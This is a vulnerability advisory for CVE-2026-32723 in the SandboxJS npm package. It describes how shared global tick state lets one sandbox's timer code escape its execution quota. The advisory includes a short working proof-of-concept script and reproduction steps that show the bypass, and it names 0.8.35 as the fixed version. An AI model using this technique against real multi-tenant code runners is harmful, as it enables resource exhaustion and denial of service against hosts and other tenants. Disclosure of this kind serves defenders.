CVE-2026-32723: SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timers
Summary Assumed repo path is /Users/zwique/Downloads/SandboxJS-0.8.34 (no /Users/zwique/Downloads/SandboxJS found). A global tick state (currentTicks.current) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object.
Published Mar 16, 2026 · Updated Mar 19, 2026
Affected packages
@nyariv/sandboxjs
- Ecosystem
- npm
- Affected
- <= 0.8.34
- Fixed in
- 0.8.35
- Check
npm ls @nyariv/sandboxjs
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Assumed repo path is /Users/zwique/Downloads/SandboxJS-0.8.34 (no /Users/zwique/Downloads/SandboxJS found). A global tick state (currentTicks.current) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite currentTicks.current between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.
Impact: execution quota bypass → CPU/resource abuse
---
Details
- Affected project: SandboxJS (owner: nyariv)
- Assumed checked-out version:
SandboxJS-0.8.34at/Users/zwique/Downloads/SandboxJS-0.8.34
Vulnerable code paths
- `/src/eval.ts` —
sandboxFunctionbindsticksusingticks || currentTicks.current: ``createFunction(..., ticks || currentTicks.current, { ...context, ... })`` Relevant lines: 44, 53, 164, 167.
- `/src/evaluator.ts` / `/src/executor.ts` — global ticks: ``
export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };`and`_execNoneRecurse(...) { currentTicks.current = ticks; ... }`` Relevant lines: ~1700, 1712.
- `sandboxedSetTimeout` compiles string handlers at execution time, not at scheduling time, which lets
currentTicks.currentbe the wrong sandbox's ticks when compilation occurs.
---
Why This Is Vulnerable
currentTicks.currentis global mutable state shared across all sandbox instances.- Timer string handlers are compiled at the moment the timer fires and read
currentTicks.currentat that time. If another sandbox runs between scheduling and execution, it can replacecurrentTicks.current. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.
---
Proof of Concept
Run with Node.js; adjust path if needed.
// PoC (run with node); adjust path if needed
import Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';
const globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };
const prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;
const sandboxA = new Sandbox({
globals,
prototypeWhitelist,
executionQuota: 50n,
haltOnSandboxError: true,
});
let haltedA = false;
sandboxA.subscribeHalt(() => { haltedA = true; });
const sandboxB = new Sandbox({ globals, prototypeWhitelist });
// Sandbox A schedules a heavy string handler
sandboxA.compile(
'setTimeout("let x=0; for (let i=0;i<200;i++){ x += i } globalThis.doneA = true;", 0);'
)().run();
// Run sandbox B before A's timer fires
sandboxB.compile('1+1')().run();
setTimeout(() => {
console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });
}, 50);Reproduction Steps
- Place the PoC in
hi.jsand run: ``node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js``
- Observe output similar to: ``
{ haltedA: false, doneA: true }`` This indicates the heavy loop completed and the quota was bypassed.
- Remove the
sandboxB.compile('1+1')().run();line and rerun. Output should now be: ``{ haltedA: true }`` This indicates quota enforcement is working correctly.
---
Impact
- Type: Runtime guard bypass (execution-quota / watchdog bypass)
- Who is impacted: Applications that run multiple SandboxJS instances concurrently in the same process — multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.
- Practical impact: Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.
- Does not (as tested) lead to: Host object exposure or direct sandbox escape (no
process/requireleakage observed from this primitive alone). Escalation to RCE was attempted and not observed.
Credited to Zwique, Lumb3, Ved235, BlguunBN, Och1r1, b34rn00b.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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